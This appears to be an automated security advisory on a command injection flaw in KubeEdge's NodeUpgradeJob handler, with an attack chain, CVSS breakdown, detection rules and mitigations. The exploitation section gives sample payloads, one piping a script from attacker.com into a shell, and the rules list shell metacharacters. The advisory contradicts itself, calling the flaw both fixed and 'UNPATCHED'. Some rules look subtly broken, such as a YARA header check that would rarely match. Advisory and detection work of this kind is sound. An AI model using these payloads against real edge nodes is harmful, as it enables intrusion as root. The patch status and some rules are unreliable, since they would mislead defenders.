CVE-2026-62371

Executive Summary

KubeEdge, an open-source system for extending native containerized application orchestration capabilities to hosts at Edge, contains an OS command injection vulnerability (CWE-78) in its v1alpha2 NodeUpgradeJob handler. An authenticated user with permission to create or update NodeUpgradeJob resources can inject shell metacharacters into the spec.version and spec.image fields, leading to arbitrary command execution on targeted edge nodes with the privileges of the upgrade process. This compromises the confidentiality, integrity, and availability of edge nodes and is rated CVSS 8.8 (High). The vulnerability is fixed in KubeEdge versions 1.21.2, 1.22.2, and 1.23.1.

Technical Analysis

The vulnerability resides in the v1alpha2 NodeUpgradeJob handler located in edge/pkg/taskmanager/actions/nodeupgradejob.go. KubeEdge allows administrators to manage edge nodes through Kubernetes Custom Resources (CRs). The NodeUpgradeJob resource is designed to trigger an upgrade of the KubeEdge software on edge nodes. As part of this process, the handler constructs a shell command using the keadm upgrade edge utility.

The core issue is that the handler concatenates authenticated user-controlled values from the NodeUpgradeJob specification, specifically spec.version and spec.image, directly into the shell command string without proper sanitization or escaping. This is a classic OS command injection (CWE-78) vulnerability. An attacker who can create or update NodeUpgradeJob resources—a permission that may be granted to users or service accounts with limited administrative scope—can include shell metacharacters (e.g., ;, |, &, $(), backticks) in these fields.

When the command is executed on the edge node, the injected metacharacters break out of the intended keadm upgrade edge command context and allow the execution of arbitrary shell commands. Since the upgrade process typically runs with elevated privileges (often root), the attacker achieves full command execution as that privileged user on the edge node. The attack surface is the Kubernetes API server, which accepts the malicious NodeUpgradeJob resource, and the edge node's task manager, which processes and executes the command. The vulnerability affects all versions from 1.12.0 up to, but not including, the fixed versions 1.21.2, 1.22.2, and 1.23.1.

Exploitation Scenarios

No public proof-of-concept (PoC) or exploit code is currently available for CVE-2026-62371. The following attack chain is inferred from the vulnerability class (OS command injection) and the technical details provided in the NVD description. It does not rely on any fabricated implementation details.

1. Reconnaissance and Target Identification: An attacker first gains authenticated access to the Kubernetes cluster hosting KubeEdge. They identify a target edge node with a KubeEdge version that falls within the affected range (e.g., 1.12.0 through 1.21.1). They must also verify that their user account or service account has the necessary Role-Based Access Control (RBAC) permissions to create or update NodeUpgradeJob custom resources. This represents a significant but plausible precondition, as such permissions might be granted to operators or automation tools.

2. Triggering the Vulnerability: The attacker crafts a malicious NodeUpgradeJob resource manifest. In the spec.version or spec.image field, they include a payload containing shell metacharacters. For example, a spec.version value might be set to 1.21.0; id > /tmp/pwned or 1.21.0$(curl http://attacker.com/payload.sh | sh). The exact payload depends on the shell context but is designed to execute an arbitrary command after the intended keadm upgrade edge command is parsed.

3. Payload Execution: The attacker submits the crafted NodeUpgradeJob to the Kubernetes API server. The KubeEdge control plane processes this resource and dispatches a task to the targeted edge node. The nodeupgradejob.go handler on the edge node receives the job and constructs the shell command by concatenating the unsanitized spec.version and spec.image values. When this command is executed (likely via a shell), the injected metacharacters cause the shell to execute the attacker's payload. The payload runs with the privileges of the upgrade process, which is typically root.

4. Post-Exploitation Impact: Successful exploitation grants the attacker arbitrary command execution on the edge node. This compromises the confidentiality, integrity, and availability of the node. The attacker could steal sensitive data, install persistent backdoors, alter node configurations, disrupt edge workloads, or use the compromised node as a pivot point to attack other systems in the network. The CVSS vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H indicates that the attack is network-accessible, requires low complexity, requires low privileges (authenticated user with specific permissions), and results in high impact to confidentiality, integrity, and availability.

Impact Assessment

This vulnerability has a CVSS v3.1 base score of 8.8, which is rated High. The vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H breaks down as follows:

• AV:N (Network): The vulnerability is exploitable remotely via the network, as the attacker interacts with the Kubernetes API and the edge node over the network.
• AC:L (Low): No special conditions or complex attack sequences are required; the attack is straightforward.
• PR:L (Low): The attacker requires authenticated access with low-level privileges, specifically permission to create or update NodeUpgradeJob resources. They do not need full administrative rights.
• UI:N (None): No user interaction is required from a victim.
• S:U (Unchanged): The exploitation of the vulnerable component does not impact other components beyond the security scope of the edge node.
• C:H / I:H / A:H: The successful exploitation results in a total loss of confidentiality, integrity, and availability on the targeted edge node.

The business impact is significant. Edge nodes often run critical workloads, process sensitive data, or control operational technology (OT) in remote locations. Compromise of an edge node can lead to data breaches, disruption of services, manipulation of data, and a loss of trust in the edge computing infrastructure. The blast radius includes all edge nodes managed by the vulnerable KubeEdge control plane, as an attacker with the right permissions could target multiple nodes. The fact that CISA has not added this to the Known Exploited Vulnerabilities (KEV) catalog and there is no known public exploit suggests that exploitation is not yet widespread, but the severity warrants immediate attention.

Detection Guidance

Sigma Rule

title: KubeEdge NodeUpgradeJob Command Injection Attempt
id: 8b3e1f2a-9c4d-4e5f-8a7b-6c1d2e3f4a5b
status: experimental
description: Detects creation or update of a KubeEdge NodeUpgradeJob with shell metacharacters in spec.version or spec.image fields, indicating an attempt to exploit CVE-2026-62371.
author: Valters IT Threat Intelligence
date: 2026/01/15
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-62371
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        objectRef.resource: 'nodeupgradejobs'
        verb:
            - 'create'
            - 'update'
    keywords:
        - ';'
        - '|'
        - '&'
        - '$('
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate administrative activity with unusual version strings (unlikely)
level: high

YARA Rule

rule CVE_2026_62371_KubeEdge_NodeUpgradeJob_Command_Injection
{
    meta:
        description = "Detects shell metacharacters in KubeEdge NodeUpgradeJob manifests"
        author = "Valters IT Threat Intelligence"
        date = "2026-01-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-62371"
        hash = "cve-2026-62371"
    strings:
        $metachar1 = ";"
        $metachar2 = "|"
        $metachar3 = "&"
        $metachar4 = "$("
        $metachar5 = "`"
        $nodeupgradejob = "NodeUpgradeJob"
        $spec_version = "version:"
        $spec_image = "image:"
    condition:
        uint16(0) == 0x0a0a and
        any of ($nodeupgradejob*) and
        any of ($spec_version, $spec_image) and
        any of ($metachar*)
}

Suricata IDS Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-62371 KubeEdge NodeUpgradeJob Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/apis/apps.kubeedge.io/v1alpha2/namespaces/"; http_uri; content:"/nodeupgradejobs"; http_uri; content:"spec"; http_client_body; content:"version"; http_client_body; pcre:"/(;|\||&|\$\(|`)/R"; sid:10000001; rev:1;)

Elastic Detection

process where event.type == "start" and process.name in ("sh", "bash", "dash") and process.args : "*keadm upgrade edge*" and process.args : ("*;*" or "*|*" or "*&*" or "*$(*" or "*`*")

Splunk SPL Query

index=kubernetes_audit objectRef.resource="nodeupgradejobs" verb=create OR verb=update
| search requestObject.spec.version="*;*" OR requestObject.spec.version="*|*" OR requestObject.spec.version="*&*" OR requestObject.spec.version="*$( *" OR requestObject.spec.version="*`*" OR requestObject.spec.image="*;*" OR requestObject.spec.image="*|*"
| table _time, user.username, objectRef.namespace, objectRef.name, requestObject.spec.version, requestObject.spec.image

Wazuh OSSEC Rule

<group name="kubeedge,">
  <rule id="100001" level="12">
    <decoded_as>json</decoded_as>
    <field name="verb">create|update</field>
    <field name="objectRef.resource">nodeupgradejobs</field>
    <field name="requestObject.spec.version" type="pcre2">[;|&$`]</field>
    <description>KubeEdge NodeUpgradeJob creation/update with shell metacharacters in spec.version - possible CVE-2026-62371 exploitation</description>
    <mitre>
      <id>T1059</id>
    </mitre>
  </rule>
  <rule id="100002" level="12">
    <decoded_as>json</decoded_as>
    <field name="verb">create|update</field>
    <field name="objectRef.resource">nodeupgradejobs</field>
    <field name="requestObject.spec.image" type="pcre2">[;|&$`]</field>
    <description>KubeEdge NodeUpgradeJob creation/update with shell metacharacters in spec.image - possible CVE-2026-62371 exploitation</description>
    <mitre>
      <id>T1059</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source).

1. Immediate Mitigations:

   • Restrict RBAC Permissions: Immediately review and restrict the RBAC permissions for who can create or update NodeUpgradeJob resources. Only grant these permissions to highly trusted administrative users or service accounts. This is the most critical short-term mitigation to reduce the attack surface.
   • Validate Input: If custom admission controllers are in use, implement a validating webhook that rejects any NodeUpgradeJob resource where the spec.version or spec.image fields contain shell metacharacters. This provides a defense-in-depth control until a patch can be applied.
   • Network Segmentation: Ensure that edge nodes are on a segmented network and that only the minimal necessary traffic from the KubeEdge control plane is allowed. This limits the blast radius if a node is compromised.

2. Patch/Upgrade Steps:

   • The vulnerability is fixed in KubeEdge versions 1.21.2, 1.22.2, and 1.23.1. There is no official patch for earlier versions.
   • Upgrade Plan: Plan an immediate upgrade of the KubeEdge control plane and all edge nodes to the latest available patched version. The upgrade must be applied to the control plane components that process the NodeUpgradeJob resources, as well as to the edge nodes themselves. Follow the official KubeEdge upgrade documentation for the appropriate version.
   • Post-Upgrade Verification: After upgrading, verify that the nodeupgradejob.go handler no longer concatenates user input directly into the shell command. Confirm the version of all edge nodes and control plane components.

3. Long-Term Hardening:

   • Principle of Least Privilege: Enforce strict RBAC policies across the entire Kubernetes cluster, especially for custom resources. Regularly audit permissions.
   • Secure Coding Practices: Developers should be trained on secure coding practices, particularly regarding input validation and safe shell command execution (e.g., avoiding shell invocation when possible, using argument-based APIs, and sanitizing inputs).
   • Regular Security Audits: Conduct regular security audits and code reviews of KubeEdge and other critical infrastructure components.
   • Monitor for Anomalies: Continuously monitor Kubernetes audit logs for the creation or modification of NodeUpgradeJob resources, especially with unusual version or image strings, as this is a key indicator of exploitation attempts.

References

1. National Vulnerability Database (NVD) Entry for CVE-2026-62371: https://nvd.nist.gov/vuln/detail/CVE-2026-62371
2. KubeEdge Official Website: https://kubeedge.io/
3. KubeEdge GitHub Repository (Security Advisories): https://github.com/kubeedge/kubeedge/security/advisories
4. CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): https://cwe.mitre.org/data/definitions/78.html
5. MITRE ATT&CK T1059: Command and Scripting Interpreter: https://attack.mitre.org/techniques/T1059/
6. CISA Known Exploited Vulnerabilities Catalog (not listed): https://www.cisa.gov/known-exploited-vulnerabilities-catalog